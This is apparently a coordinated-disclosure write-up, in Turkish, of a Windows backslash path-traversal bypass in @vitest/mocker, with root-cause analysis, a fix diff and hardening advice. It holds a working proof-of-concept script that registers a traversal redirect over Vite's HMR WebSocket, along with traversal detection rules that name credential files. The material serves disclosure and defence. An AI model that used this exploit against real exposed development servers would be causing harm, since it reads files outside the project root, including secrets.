İfşa: CVE-2026-112950, @vitest/mocker içindeki GHSA-82fw-gwwq-j7x9 düzeltmesinin atlatılmasıdır. Zafiyeti jankesec olarak Vitest bakımcılarına bildirdim. 4.1.12 ve 5.0.3 sürümlerinde düzeltildi ve GHSA-xp26-3454-mjgp olarak yayımlandı. GitHub zafiyeti CVSS 3.1 5.9 (Orta) olarak puanladı: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N.

Windows’ta yolu ..\ içeren bir redirect mock, ilk düzeltmeyle eklenen allowlist denetiminden geçer ve sunucu ardından proje kökü dışındaki bir dosyayı okur. Saldırganın, redirect handler’ını kaydeden bir Windows geliştirme sunucusunun Vite HMR WebSocket bağlantısına erişmesi gerekir. mockerPlugin ve bağımsız bir interceptorPlugin bu handler’ı kaydeder; Vitest’in kendi browser mode’u kaydetmez. Vite varsayılan olarak localhost üzerinde dinlediği için sunucunun önce dışarıya açılması gerekir; örneğin --host 0.0.0.0 ile veya bir proxy üzerinden.

Neden, denetim ile okuma arasındaki anlaşmazlıktır. Denetim \ karakterini sıradan bir karakter olarak değerlendirir. Dosya okuma ise onu bir dizin ayırıcısı olarak yorumlar. Aynı dize, iki farklı katmanda iki farklı anlam taşıdığı için güvenlik kararı yanlış tarafa düşer. Bu tür hatalar yalnızca Windows’ta görünür; Linux ve macOS üzerinde aynı payload zararsız kalır, dolayısıyla geliştiriciler sorunu kendi test ortamlarında fark etmeyebilir.

İlk düzeltme

GHSA-82fw-gwwq-j7x9, geliştirme sunucusunun HMR WebSocket’ine erişebilen herhangi bir istemcinin keyfi bir yol için redirect mock kaydedebildiğini ve eklentinin daha sonra o dosyanın içeriğini modül olarak döndürdüğünü göstermişti. İlk düzeltme, hesaplanan yolu saklamadan önce Vite’ın isFileLoadingAllowed() fonksiyonundan geçirir:

// interceptorPlugin.ts after the first fix (simplified)
import { join } from 'node:path/posix'

const redirectUrl = new URL(event.redirect)
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect

traversal: gibi özel bir şema kullanıldığında new URL() yolu opak tutar. traversal:../secret.txt için pathname ../secret.txt olur, join(root, '../secret.txt') kökün üstüne çıkar ve isFileLoadingAllowed() bunu reddeder. Linux ve macOS üzerinde bu beklendiği gibi çalışır; çünkü hem denetim hem de dosya okuma / karakterini ayırıcı kabul eder. Düzeltmenin zayıf noktası, bu uyumun tüm platformlarda geçerli olduğu varsayımıdır.

Denetim ile okumanın ayrıldığı yer

join, / karakterinin tek ayırıcı olduğu ve \ karakterinin normal bir dosya adı karakteri sayıldığı node:path/posix modülünden gelir. Vite kökü C:/workspace/project/root, redirect de traversal:..\secret.txt olsun:

  1. redirectUrl.pathname değeri ..\secret.txt olur.
  2. join('C:/workspace/project/root', '..\\secret.txt') hiçbir .. segmenti bulamaz ve C:/workspace/project/root/..\secret.txt döndürür.
  3. isFileLoadingAllowed() bu dizeyi server.fs.allow ile karşılaştırır. Dize izin verilen kökle başladığı için denetimi geçer ve mock saklanır.
  4. Modül istendiğinde eklenti readFile(mock.redirect, 'utf-8') çağırır. Windows’ta Node dosyayı CreateFileW üzerinden açar; burada \ dizinleri ayırır ve ..\ çözümlenir. Açılan dosya, kökün bir seviye üstündeki C:\workspace\project\secret.txt olur.

Buradaki kritik ayrım şudur: allowlist denetimi bir dize öneki karşılaştırmasıdır, dosya okuma ise işletim sisteminin yol çözümlemesidir. Denetim “güvenli” derken okuma “kök dışı” der; aradaki farkı kapatan hiçbir normalizasyon yoktur. Saldırganın özel bir yetkiye ihtiyacı olmaması da etkiyi artırır: HMR soketine erişen her istemci bu kaydı yapabilir.

SALDIRGAN: Vite HMR socket'ine bağlı WebSocket istemcisi Yönlendirme kaydeder: traversal:..\secret.txt ALLOWLIST DENETİMİ: interceptorPlugin.ts node:path/posix join() "..\" ifadesini metin olarak korur, bu yüzden isFileLoadingAllowed() geçer DOSYA OKUMA: CreateFileW üzerinden readFile(mock.redirect) Win32 "\" işaretini ayraç sayar ve ".." ifadesini çözer → proje kökü dışındaki bir dosya döner
Allowlist denetimi \ işaretini sıradan bir karakter olarak okur; dosya okuma ise aynı işareti dizin ayracı sayar.

Kanıt matrisi

Aşağıdaki tablo, hangi iddianın hangi deneyle doğrulandığını ve hangi durumların negatif kontrol olarak kullanıldığını özetler. Her satır, zafiyetin kapsamını daraltmaya yönelik tek bir soruyu yanıtlar ve mümkün olduğunda bir negatif kontrolle desteklenir.

SoruNeyi denetledimGüvenNotlar ve negatif kontroller
Hangi sürümler etkileniyor?Windows Server 2025 ve Node.js 22 üzerinde @vitest/[email protected] ve @vitest/[email protected], ayrıca 2ce29d5 üzerindeki main.YüksekÜçü de aynı davrandı. Güvenlik bildirisi 4.1.11 ve >=5.0.0-rc.2, <5.0.3 sürümlerini etkilenen olarak listeliyor.
İlk düzeltme / karakterini hâlâ durduruyor mu?Aynı WebSocket üzerinden traversal:../secret.txt kaydedildi.YüksekHTTP 404. isFileLoadingAllowed() reddetti.
Ters bölü biçimi geçiyor mu?Kanarya dizesi taşıyan kardeş dosyayı işaret eden traversal:..\secret.txt kaydedildi.YüksekHTTP 200 ve SYNTHETIC_OUTSIDE_ROOT_CANARY.
Saldırganın neye ihtiyacı var?Redirect handler’ını kaydeden bir sunucunun Vite HMR portuna WebSocket bağlantısı (mockerPlugin veya bağımsız interceptorPlugin).YüksekGeliştirme sunucusu varsayılan olarak localhost’ta dinler. Dışarıya açmak için --host veya proxy gerekir. Vitest browser mode bu handler’ı kaydetmez.
Browser RPC yolu etkileniyor mu?packages/browser/src/node/rpc.ts okundu.YüksekHayır. Yolları pathe ile birleştiriyor; bu araç denetimden önce ters bölüleri dönüştürüyor.
Düzeltme açığı kapatıyor mu?PoC 4.1.12 ve 5.0.3 sürümlerine karşı yeniden çalıştırıldı.YüksekTers bölüler join öncesinde / karakterine dönüştürülüyor; isFileLoadingAllowed() her iki biçimi de reddediyor.

Yeniden üretim

Sorunu, gerçek sırlar yerine bir kanarya dosyası kullanan temiz bir Windows makinesinde yeniden ürettim. Betik, interceptorPlugin ile bağımsız bir Vite sunucusu başlatır ve kanarya dosyasını sunucu kökünün yanına yazar:

<tmpdir>\vitest-path-<uuid>\
├── root\          server.config.root, the only allowed directory
└── secret.txt     canary file containing SYNTHETIC_OUTSIDE_ROOT_CANARY

Kanarya dosyası, gerçek bir sırrın yerine yalnızca okunup okunmadığını anlamak için kullanılır; böylece test üretim verisine dokunmaz. Betik (poc.mjs) aynı WebSocket üzerinden iki redirect kaydeder; biri negatif kontrol olarak /, diğeri \ ile. Ardından iki modülü de HTTP üzerinden ister ve sonucu yazdırır:

import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  // 1. Negative control: Standard forward-slash traversal
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  // 2. Exploit vector: Windows backslash traversal
  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
  }

  console.log(JSON.stringify(result, null, 2))
} finally {
  await server.close()
}

Gözlemlenen çıktı

Windows üzerinde @vitest/[email protected] sürümüne karşı çalıştırıldı. Betik root ve outsideFile alanlarını da yazdırır; yerel yolları kaldırdım.

{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY"
}

İki istek yalnızca ayırıcı karakterde farklıdır. traversal:../secret.txt 404 döndürdü; yani ilk düzeltme etkindir. traversal:..\secret.txt ise kanarya dizesiyle birlikte 200 döndürdü. Bu, sorunun bir yarış koşulu değil, deterministik bir yol yorumlama farkı olduğunu gösterir. Aynı betik her çalıştırıldığında aynı sonucu verir; bu da hatanın ortam gürültüsüyle açıklanamayacağını kanıtlar.

Düzeltme

Düzeltme, commit 15cc006 (PR #11377, 5.0.3 içinde yayımlandı) ve b825313 olarak geri taşınmış hâlidir (PR #11580, 4.1.12 içinde yayımlandı). URL pathname’i join işleminden önce, ters bölüleri / karakterine çeviren @vitest/utils/helpers içindeki slash() ile sarılır. Aynı commit, packages/browser/src/node/rpc.ts içindeki yollar için de slash() uygular. O kod istismar edilebilir değildi, ancak artık aynı davranışı gösteriyor.

--- a/packages/mocker/src/node/interceptorPlugin.ts
+++ b/packages/mocker/src/node/interceptorPlugin.ts
@@ -2,6 +2,7 @@ import type { Plugin } from 'vite'
 import type { MockedModuleSerialized } from '../registry'
 import { readFile } from 'node:fs/promises'
 import { join } from 'node:path/posix'
+import { slash } from '@vitest/utils/helpers'
 import { isFileLoadingAllowed } from 'vite'
 import { ManualMockedModule, MockerRegistry } from '../registry'
 import { cleanUrl, createManualModuleSource } from '../utils'
@@ -77,7 +78,7 @@ export function interceptorPlugin(options: InterceptorPluginOptions = {}): Plugi
         } else {
           if (event.type === 'redirect') {
             const redirectUrl = new URL(event.redirect)
-            const redirect = join(server.config.root, redirectUrl.pathname)
+            const redirect = join(server.config.root, slash(redirectUrl.pathname))
             // the redirect is served through the `load` hook below, so it must
             // stay inside the file-serving allowlist and never escape the root
             if (!isFileLoadingAllowed(server.config, redirect)) {

..\secret.txt artık join() çağrısından önce ../secret.txt hâline gelir. Sonuç server.config.root üstüne çıkar ve isFileLoadingAllowed() bunu, tıpkı ileri bölü biçiminde olduğu gibi reddeder.

Yol çözümleme uyumsuzluk matrisi

Bu zafiyet, standart URL ayrıştırıcıları, POSIX yol araçları ve Win32 dosya sistemi API’sinin ters bölü karakterini farklı yorumlamasından kaynaklanır:

KatmanGirdi DizesiKabul Edilen AyırıcılarÇıktı / KararGüvenlik Etkisi
WHATWG URL Ayrıştırıcı (new URL(...))traversal:..\secret.txtÖzel olmayan şemalarda yalnızca /pathname: "..\secret.txt"Ters bölü korunur; ileri bölüye dönüştürülmez.
POSIX Yol Birleştirme (path/posix.join)join("C:/root", "..\secret.txt")Yalnızca /"C:/root/..\secret.txt"..\ ifadesi üst dizin değil, sıradan dosya adı parçası sayılır.
Vite FS İzin Listesi (isFileLoadingAllowed)"C:/root/..\secret.txt"İzinli köklerle metinsel önek karşılaştırmasıİZİN VERİLDİ (true)Dize, izinli "C:/root" önekiyle başlar.
Win32 Çalışma Zamanı (CreateFileW via readFile)C:\root\..\secret.txtHem / hem \Açar: C:\secret.txtÇekirdek ..\ ifadesini üst dizin olarak çözümler ve kök dışına çıkar.

Tespit mühendisliği ve telemetri

İstismar, geliştirme sunucusunun HMR WebSocket uç noktasını hedefler ve hem ağ katmanında hem de süreç telemetrisinde izlenebilir.

1. Ters proxy ve WAF tespiti

Geliştirme ortamı Nginx, HAProxy veya bir WAF arkasında sunulduğunda, ters bölü dizin geçişi içeren yönlendirme yükleri engellenebilir:

# Nginx WebSocket inceleme kuralı
# Ham veya kodlanmış Windows dizin geçişi içeren istekleri engelle
map $http_upgrade $is_websocket {
    default 0;
    "websocket" 1;
}

if ($request_uri ~* "(%5c|\x5c|\\)\.\.(%5c|\x5c|\\|/)") {
    return 400 "Blocked traversal sequence";
}

2. Windows Sysmon dosya telemetrisi

Geliştirici iş istasyonlarını izleyen SOC ekipleri, Sysmon Event ID 11 (FileCreate/FileRead) ile Node.js sürecinin proje kökü dışındaki kritik dosyalara erişimini denetleyebilir:

<!-- Sysmon dosya erişim denetim kuralı -->
<RuleGroup name="" groupRelation="or">
  <FileCreate onmatch="include">
    <Rule groupRelation="and">
      <Image condition="end with">node.exe</Image>
      <TargetFilename condition="begin with">C:\Windows\System32\</TargetFilename>
    </Rule>
  </FileCreate>
</RuleGroup>

İstismar gerçekleştiğinde telemetri, node.exe sürecinin çalışma dizini dışındaki kullanıcı sırlarına (.aws/credentials, id_rsa veya çevre değişkeni dosyaları) doğrudan eriştiğini kaydeder.

Geçici çözüm: Güncelleme yapmadan yapılandırma sıkılaştırma

Paket 4.1.12 veya 5.0.3 sürümlerine hemen yükseltilemiyorsa aşağıdaki sıkılaştırma adımları uygulanır:

  1. Ağ arayüzünü sınırlandırın: Paylaşımlı ağlarda veya CI ortamlarında Vite sunucusunu asla --host 0.0.0.0 veya --host ile başlatmayın. Dinlemeyi yalnızca yerel döngü (loopback) ile sınırlandırın:

    // vite.config.ts
    export default defineConfig({
      server: {
        host: '127.0.0.1', // Yalnızca yerel erişim
        cors: false,
      },
    })
  2. Sıkı dosya sistemi kısıtlaması uygulayın: Proje kökü dışından dosya sunulmasını engellemek için server.fs ayarını yapılandırın:

    // vite.config.ts
    export default defineConfig({
      server: {
        fs: {
          strict: true,
          deny: ['**/.*', '**/*.env*', '**/*.key'],
        },
      },
    })

ATT&CK teknik eşleşmesi

TaktikTeknik IDTeknik AdıZafiyetteki İşleyişSavunma Kontrolü
Initial Access / DiscoveryT1190Exploit Public-Facing ApplicationDışa açık Vite HMR WebSocket portu kötü niyetli redirect mock kaydı alır.Geliştirme sunucusunu yalnızca 127.0.0.1 adresine bağla; port erişimini sınırla.
DiscoveryT1083File and Directory DiscoverySaldırgan Windows üzerinde üst dizinlere geçerek proje dışı dosyaları okur.Doğrulama öncesinde yol ayırıcılarını slash() ile tek tipleştir.
Credential AccessT1552.001Unsecured Credentials: Credentials in FilesKeyfi dosya okuma, yapılandırma dosyalarını ve gizli anahtarları sızdırır.server.fs.deny listelerini etkinleştir; geliştirme kimlik bilgilerini izole et.

Çıkarımlar

Bu vaka, güvenlik denetiminin “bu dize hangi platformda tüketilecek?” sorusunu sormadan yazılmasının bedelini açıkça gösterir.

  1. Ayırıcıları, dizeyi tüketecek platforma göre normalleştirin. node:path/posix URL’ler için uygundur; ancak sonuç Windows’ta readFile() fonksiyonuna ulaştığında, herhangi bir güvenlik denetiminden önce \ karakterini dönüştürün.
  2. Bir URL ayrıştırıcısının ters bölüleri düzelteceğini varsaymayın. WHATWG ayrıştırıcısı http ve file gibi özel şemalarda \ karakterini / olarak ele alır, traversal: gibi özel olmayan bir şemada ise olduğu gibi bırakır.
  3. Gerçekten kullanacağınız değeri denetleyin. Girdiyi mutlak ve normalleştirilmiş bir yola çözümleyin (symlink önemliyse realpath ile), ardından kök içinde kalma testini bu sonuç üzerinde yapın.
Şiddet Değerlendirmesi · MEDIUM

Zafiyet Puanlaması & CVSS Vektör Analizi

GitHub CNA tarafından hesaplanan taban puan ve vektör bileşenlerinin teknik dökümü.

5.9Medium
CVSS Vektör DizgisiCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
AV · Saldırı VektörüAğ (Network)
AC · KarmaşıklıkYüksek (High)
PR · Yetki SeviyesiYok (None)
UI · Kullanıcı EtkileşimiYok (None)
S · KapsamDeğişmez (Unchanged)
C · GizlilikYüksek (High)
I · BütünlükYok (None)
A · ErişilebilirlikYok (None)
Denetim İzi · CVE-2026-112950

Koordineli İfşa ve Düzeltme Zaman Çizelgesi

CVE-2026-112950 için zafiyet tespiti, bakımcı bildirimi, upstream yama ve resmi danışma belgesi yayınının doğrulanmış kronolojisi.

  1. Düzeltme Birleştirildi (Fix Merged)Step 01

    The fix referenced by the advisory landed in vitest-dev/vitest (PR #11377).

    Kaynak / Taahhüt ↗
  2. Geriye Dönük Yama (Backport)Step 02

    The redirect mock hardening was backported to the 4.x line (PR #11580).

    Kaynak / Taahhüt ↗
  3. Resmi CVE ve Danışma BelgesiStep 03

    GitHub, as CNA, published the CVE record and advisory GHSA-xp26-3454-mjgp.

    Kaynak / Taahhüt ↗
  4. CISA Vulnrichment GüncellemesiStep 04

    CISA added its Vulnrichment (SSVC) assessment to the CVE record.

  5. Metadata ve Referans DenetimiStep 05

    jankesec checked the CVE record, score, affected versions, and references.

Kaynaklar ve sınırlar

Bu analiz için kullanılan kanıtlar

Kontrol edilen kaynaklar20 Ekim 2026

Sürüm ve sömürü durumu değişebilir; üretici kayıtlarını takip edin.

İnceleme DurumuYazar incelemesi tamamlandı

Yazar teknik incelemeyi tamamladı. Bu etiket tek başına laboratuvar yeniden üretimi iddiası taşımaz.

◈ BU ARAŞTIRMAYI KAYNAK GÖSTER

Teknik raporlarda ve akademik yayınlarda atıf için:

@misc{jankesec_cve_2026_112950_vitest_mocker_path_traversal_2026,
  author = {Sevban Dönmez},
  title = {CVE-2026-112950: @vitest/mocker'da Windows Ters Bölü Dizin Geçişi},
  year = {2026},
  howpublished = {\url{https://jankesec.com/tr/arastirma/cve-2026-112950-vitest-mocker-path-traversal/}},
  note = {jankesec technical security research (CVE-2026-112950)}
}